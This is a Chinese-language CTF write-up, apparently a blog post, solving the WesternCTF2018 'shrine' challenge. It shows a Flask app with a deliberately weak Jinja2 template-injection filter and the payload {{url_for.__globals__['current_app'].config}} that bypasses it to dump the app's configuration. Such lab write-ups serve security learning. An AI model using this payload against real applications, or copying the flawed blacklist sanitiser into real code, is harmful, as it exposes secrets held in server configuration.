[WesternCTF2018]shrine

原理

SSTI模板注入

解题过程

进入靶场,看到了好乱的代码- - 查看页面源代码

干净多了

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')  //这里读取了FLAG这个值放到config中的FLAG位置,应该就是flag了,我们要做的就是读取这个字段


@app.route('/')   
def index():
    return open(__file__).read()    //这是默认路由,应该是读取这个文件内容然后打印


@app.route('/shrine/<path:shrine>')      //应该就是通过这个路径进行ssti注入
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')      //过滤了小括号
        blacklist = ['config', 'self']        //名单
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s    应该是将config和self变成None,然后拼接上我们的值

    return flask.render_template_string(safe_jinja(shrine))    //模板渲染


if __name__ == '__main__':
    app.run(debug=True)

分析完代码

试试SSTI的测试语句{{7*7}},证明有SSTI注入

接下来我们使用 {{config}} 查看一下配置文件,这样app.config也就可以看到了。不过在这道题当中设置了黑名单,
过滤了 config 与 self ,不然我们可以使用config,传入 config,或者使用self传入 {{self.dict}},不过,
这道题是不行了。但是在python里,有许多内置函数,其中有一个 url_for ,其作用是给指定的函数构造 URL。
配合globals(),该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果

 shrine/{{url_for.__globals__}} 

找到很多很多全局变量,但是我们只需要current_app就行

current_app': <Flask 'app'>这里的current就是指的当前的app,这样我们只需要能查看到这个的config不就可以看到flag了,那么构造payload

shrine/{{url_for.__globals__['current_app'].config}}

成功拿到flag

参考文章:https://www.cnblogs.com/awsole/p/14595649.html

posted @ 2023-10-14 12:09  圆弧状态  阅读(47)  评论(0)    收藏  举报